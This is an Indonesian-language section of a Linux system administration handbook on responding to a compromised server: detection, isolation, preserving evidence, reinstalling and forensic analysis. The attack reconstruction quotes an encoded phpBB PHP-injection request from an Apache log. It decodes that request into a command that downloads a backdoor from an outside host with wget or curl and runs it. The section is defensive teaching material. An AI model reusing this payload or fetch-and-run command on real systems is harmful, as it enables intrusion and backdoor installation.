Product SiteDocumentation Site

14.7. Berurusan dengan Mesin yang Terkompromi

Meskipun dengan niat baik dan seberapa pun hati-hatinya kebijakan keamanan dirancang, administrator akhirnya menghadapi tindakan pembajakan. Bagian ini memberikan beberapa panduan tentang cara untuk bereaksi ketika dihadapkan dengan keadaan tidak beruntung ini.

14.7.1. Mendeteksi dan Melihat Intrusi Penyusup

Langkah pertama bereaksi terhadap peretasan adalah sadar atas aksi sedemikian. Hal ini tidak jelas, terutama tanpa pemantauan infrastruktur yang memadai.
Aksi peretasan sering tidak terdeteksi sampai mereka memiliki konsekuensi langsung pada layanan sah yang diwadahi pada mesin, seperti koneksi melambat, beberapa pengguna tidak berhasil menyambung, atau jenis lain dari kerusakan. Dihadapkan dengan masalah ini, administrator perlu melihat dengan baik di mesin dan hati-hati meneliti apa yang berulah. Ini biasanya saat mereka menemukan sebuah proses yang tidak biasa, misalnya yang bernama apache bukan /usr/sbin/apache2 yang standar. Jika kita mengikuti contoh, hal yang harus dilakukan adalah untuk mencatat dengan pengidentifikasi prosesnya, dan memeriksa /proc/pid/exe untuk melihat program apa yang sedang menjalankan proses ini:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Sebuah program yang dipasang di bawah /var/tmp/ dan berjalan sebagai server web? Tidak ada sisa keraguan lagi, mesin terkompromi.
Ini adalah hanya salah satu contoh, tetapi banyak petunjuk lain yang dapat memperingatkan administrator:
  • pilihan untuk suatu perintah yang tidak lagi bekerja; versi perangkat lunak yang diaku oleh perintah tidak cocok dengan versi yang seharusnya diinstal sesuai dpkg;
  • prompt perintah atau sapaan sesi yang menunjukkan bahwa sambungan terakhir datang dari server yang tidak diketahui di benua lain;
  • kesalahan yang disebabkan oleh partisi /tmp/ menjadi penuh, yang ternyata penuh oleh salinan film ilegal;
  • dan seterusnya.

14.7.2. Menempatkan Server Luring

Dalam setiap kasus kecuali yang paling eksotis, peretasan berasal dari jaringan, dan penyerang perlu suatu jaringan yang bekerja untuk mencapai target mereka (mengakses data rahasia, berbagi berkas ilegal, menyembunyikan identitas mereka dengan menggunakan mesin sebagai relay dan seterusnya). Mencabut komputer dari jaringan akan mencegah penyerang mencapai target tersebut, jika mereka belum berhasil melakukannya.
Ini hanya dapat dilakukan jika server fisik dapat diakses. Ketika server diwadahi di pusat data penyedia hosting setengah jalan menyeberang negara, atau jika server tidak dapat diakses karena alasan lain, biasanya ide yang baik untuk memulai dengan mengumpulkan beberapa informasi penting (lihat Bagian 14.7.3, “Menjaga Segala Sesuatu yang Dapat Digunakan Sebagai Bukti”, Bagian 14.7.5, “Analisis Forensik”, dan Bagian 14.7.6, “Merekonstruksi Skenario Serangan”), kemudian mengisolasi server sebanyak mungkin dengan menutup sebanyak mungkin layanan (biasanya, semua selain sshd). Kasus ini masih canggung, karena kita tidak mengesampingkan kemungkinan penyerang memiliki akses SSH seperti administrator miliki; hal ini membuat lebih sulit untuk "membersihkan" mesin.

14.7.3. Menjaga Segala Sesuatu yang Dapat Digunakan Sebagai Bukti

Memahami serangan dan/atau melibatkan tindakan hukum terhadap para penyerang memerlukan mengambil salinan semua elemen yang penting; ini termasuk isi dari hard disk, daftar semua proses yang berjalan, dan daftar semua koneksi yang terbuka. Isi dari RAM juga bisa digunakan, tetapi jarang dipakai dalam praktek.
Dalam situasi panas, administrator sering tergoda untuk melakukan banyak pemeriksaan pada mesin yang terkompromi; hal ini biasanya bukan ide yang baik. Setiap perintah berpotensi diubah dan dapat menghapus potongan-potongan bukti. Pemeriksaan harus dibatasi untuk set minimalis (netstat -tupan untuk koneksi jaringan, ps auxf untuk daftar proses, ls -alR /proc/[0-9]* untuk sedikit informasi lebih lanjut tentang program yang berjalan), dan setiap pemeriksaan yang dilakukan mesti secara hati-hati dicatat di kertas.
Setelah elemen "dinamis" sudah diselamatkan, langkah berikutnya adalah untuk menyimpan image lengkap dari hard disk. Membuat image seperti itu mustahil jika sistem berkas masih berubah, itulah sebabnya itu harus dikait ulang hanya-baca. Solusi yang paling sederhana adalah sering dengan menghentikan server secara brutal (setelah menjalankan sync) dan reboot memakai CD rescue. Masing-masing partisi akan disalin dengan alat seperti dd; image ini dapat dikirim ke server lain (mungkin dengan alat nc yang sangat nyaman). Kemungkinan lain mungkin bahkan lebih sederhana: hanya mendapatkan disk dari mesin dan menggantinya dengan yang baru yang dapat diformat dan diinstal ulang.

14.7.4. Menginstal ulang

Server tidak boleh kembali daring tanpa instalasi ulang lengkap. Jika kompromi parah (jika hak akses administratif diperoleh), hampir tidak ada cara lain untuk memastikan bahwa kita bisa menyingkirkan semua yang mungkin telah ditinggalkan oleh penyerang (terutama backdoor). Tentu saja, semua pembaruan keamanan terkini juga dapat diterapkan untuk menambal kerentanan yang digunakan oleh penyerang. Idealnya, menganalisis serangan harus mengarahkan pada vektor serangan ini, sehingga seseorang dapat yakin benar-benar memperbaikinya; bila tidak, kita hanya dapat berharap bahwa kerentanan itu salah satu dari yang diperbaiki oleh pembaruan.
Memasang ulang server jarak jauh tidak selalu mudah; ini mungkin melibatkan bantuan dari perusahaan hosting, karena tidak semua perusahaan tersebut menyediakan sistem instalasi ulang otomatis atau konsol jarak jauh (meskipun kasus ini jarang terjadi). Harus berhati-hati untuk tidak memasang ulang mesin dari cadangan yang diambil setelah kompromi. Idealnya, hanya data yang harus dipulihkan, perangkat lunak yang sebenarnya harus dipasang ulang dari media instalasi.

14.7.5. Analisis Forensik

Sekarang setelah layanan yang telah dipulihkan, saatnya untuk melihat lebih dekat pada image disk sistem yang terkompromi untuk memahami vektor serangan. Ketika mengait image ini, perlu hati-hati untuk menggunakan opsi ro, nodev, noexec, noatime untuk menghindari mengubah isi (termasuk stempel waktu akses ke berkas) atau kesalahan menjalankan program yang terkompromi.
Merunut ulang skenario serangan biasanya melibatkan mencari segala sesuatu yang dimodifikasi dan dijalankan:
  • Berkas .bash_history sering menyediakan bacaan yang sangat menarik;
  • begitu pula daftar berkas yang baru saja dibuat, dimodifikasi, atau diakses;
  • perintah string membantu mengidentifikasi program yang dipasang oleh penyerang, dengan mengekstrak string teks dari biner;
  • berkas log dalam /var/log/ sering memungkinkan merekonstruksi kronologi peristiwa;
  • alat khusus juga memungkinkan memulihkan isi berkas yang berpotensi dihapus, termasuk berkas log yang oleh penyerang sering dihapus.
Beberapa operasi ini dapat dibuat lebih mudah dengan perangkat lunak terspesialisasi. Secara khusus, paket sleuthkit menyediakan banyak alat untuk menganalisis sebuah sistem berkas. Penggunaan mereka dibuat lebih mudah dengan antarmuka grafis Autopsy Forensic Browser (dalam paket autopsy). Beberapa distribusi Linux memiliki image "live install" dan memuat banyak program untuk analisis forensik, seperti misalnya Kali Linux (lihat Bagian A.8, “Kali Linux”), dengan mode forensik-nya, BlackArchLinux, dan Grml-Forensic yang komersial, berbasis pada Grml (lihat Bagian A.6, “Grml”).

14.7.6. Merekonstruksi Skenario Serangan

Semua elemen yang dikumpulkan selama analisis harus sesuai pas seperti potongan-potongan dalam teka-teki; penciptaan berkas mencurigakan pertama sering berkorelasi dengan log yang membuktikan pelanggaran. Contoh dunia nyata seharusnya lebih eksplisit daripada celotehan panjang yang teoritis.
Log berikut adalah ekstrak dari access.log Apache:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Contoh ini cocok dengan eksploitasi kerentanan keamanan lama di phpBB.
Dekode URL panjang ini mengarah pada pemahaman bahwa penyerang berhasil menjalankan beberapa kode PHP, yaitu: system("cd/tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Memang, berkas bd ditemukan di /tmp/. Menjalankan strings /mnt/tmp/bd mengembalikan, antara lain string, PsychoPhobia Backdoor is starting.... Ini benar-benar tampak seperti backdoor.
Beberapa waktu kemudian, akses ini digunakan untuk mengunduh, menginstal, dan menjalankan bot IRC yang terhubung ke jaringan IRC bawah tanah. Bot bisa kemudian dikendalikan melalui protokol ini dan diperintahkan untuk mengunduh berkas untuk dibagikan. Program ini bahkan memiliki berkas log sendiri:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Jejak ini menunjukkan bahwa dua berkas video telah disimpan pada server melalui alamat IP 82.50.72.202.
Secara paralel, penyerang juga mengunduh berkas tambahan, /tmp/pt dan /tmp/loginx. Menjalankan berkas ini melalui strings mengarah ke string seperti Shellcode placed at 0x%08lx dan Now wait for suid shell.... Ini terlihat seperti program-program yang mengeksploitasi kelemahan lokal untuk mendapatkan hak akses administratif. Apakah mereka mencapai target mereka? Dalam kasus ini, mungkin tidak, karena tidak ada berkas yang tampak telah telah dimodifikasi setelah pelanggaran awal.
Dalam contoh ini, seluruh penyusupan telah direkonstruksi, dan dapat ditarik kesimpulan bahwa penyerang telah mampu mengambil keuntungan dari sistem yang terkompromi selama tiga hari; tapi unsur yang paling penting dalam analisis adalah bahwa kerentanan telah diidentifikasi, dan administrator dapat yakin bahwa instalasi baru benar-benar memperbaiki kerentanan.